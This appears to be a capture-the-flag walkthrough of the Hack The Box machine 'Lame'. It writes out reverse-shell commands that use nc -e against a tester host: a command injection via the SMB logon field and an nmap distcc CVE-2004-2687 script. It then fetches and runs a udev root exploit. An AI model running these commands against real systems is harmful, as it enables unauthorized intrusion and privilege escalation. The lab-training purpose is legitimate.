---
description: >-
  Authenticated SMB Reverse shell - Distccd v1 exploitation - Kernel 2.6 udev
  PrivEsc
---

# Lame

### Scanning

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FVlLFx80yRrXD3Six4uRO%2Fimage.png?alt=media&#x26;token=244a965d-ca7a-4f5b-a5d8-b52a0ea3a6f1" alt=""><figcaption></figcaption></figure>

### FTP Enumeration

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FNWizfOvVM8gSWNyJo2wW%2Fimage.png?alt=media&#x26;token=189da074-1998-4186-8960-6e180c8d7d30" alt=""><figcaption></figcaption></figure>

Not vulnerable !

### SMB Enumeration & Exploitation

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FjG4EsdZLfvdwRNDjbcU1%2Fimage.png?alt=media&#x26;token=80ab5cce-907f-407e-95ff-e83fd08c585d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FbDl0ycj29VrWbto5Q7Cm%2Fimage.png?alt=media&#x26;token=a7af5b30-beef-417e-a853-d9eaf2c937cb" alt=""><figcaption></figcaption></figure>

**WRITE** access is enabled !

We can get a shell using this command - Only if we are an authenticated user !

```
logon "/=`nohup nc -nv 10.10.14.6 4444 -e /bin/sh`"
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FUrEgYFGzOujjdqcoKWD8%2Fimage.png?alt=media&#x26;token=71f4badd-3854-499f-be69-ccc73a09bb66" alt=""><figcaption></figcaption></figure>

### Alternative Method

Distcc v1 is vulnerable !

```
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc -nv 10.10.14.6 4444 -e /bin/bash'"
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2F220FzKLyXY8wJjzOzDJS%2Fimage.png?alt=media&#x26;token=078eb98e-faa5-447f-8409-11a4753666f6" alt=""><figcaption></figcaption></figure>

We can start a listener !

```
nc -nlvp 4444
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2Fbh0xLx04dEwJ8RynnYMo%2Fimage.png?alt=media&#x26;token=978d2c05-d30c-48c9-9775-11215a8d584f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FZzu1Pfi5VfwdbYFYljNh%2Fimage.png?alt=media&#x26;token=c42cfebd-33f5-4f9c-9ad0-285bf2e59b64" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

We’ll need to escalate privileges. Google the OS version — Linux 2.6.24 to see if it is vulnerable to any exploits. I tried [CVE 2016–5195](https://www.exploit-db.com/exploits/40839) and [CVE 2008–0600](https://www.exploit-db.com/exploits/5093), but they didn’t work.

Let’s try [CVE 2009–1185](https://www.exploit-db.com/exploits/8572)

```
searchsploit -m 8572.c
gcc 8572.c -o 8572
```

```
python -m SimpleHTTPServer 9005
wget http://10.10.14.6:5555/8572
```

To run it

![](https://miro.medium.com/max/677/1*I7M6fBne0AtCu96yQhG2eQ.png)

We need to do two things:

* Figure out the PID of the udevd netlink socket
* Create a run file in /tmp and add a reverse shell to it. Since any payload in that file will run as root, we’ll get a privileged reverse shell

```
ps aux | grep devd
```

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2Fdg0iO7piwZBHt6DGlMCI%2Fimage.png?alt=media&#x26;token=94030fd9-030b-422d-b2c2-1ab36d7d6f52" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FHI77fzo5pzf00nUzBiQQ%2Fimage.png?alt=media&#x26;token=37b0cded-a529-4d67-a468-161a5582c2f8" alt=""><figcaption></figcaption></figure>

Start the listener and run the exploit with the PID

<figure><img src="https://3446974060-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBO7Mp256kU5Jr8Cyh4sY%2Fuploads%2FJscNP3kt3U4dkqUDNvMF%2Fimage.png?alt=media&#x26;token=7c5f2a12-9346-4560-aa68-9cb521fcd64d" alt=""><figcaption></figcaption></figure>
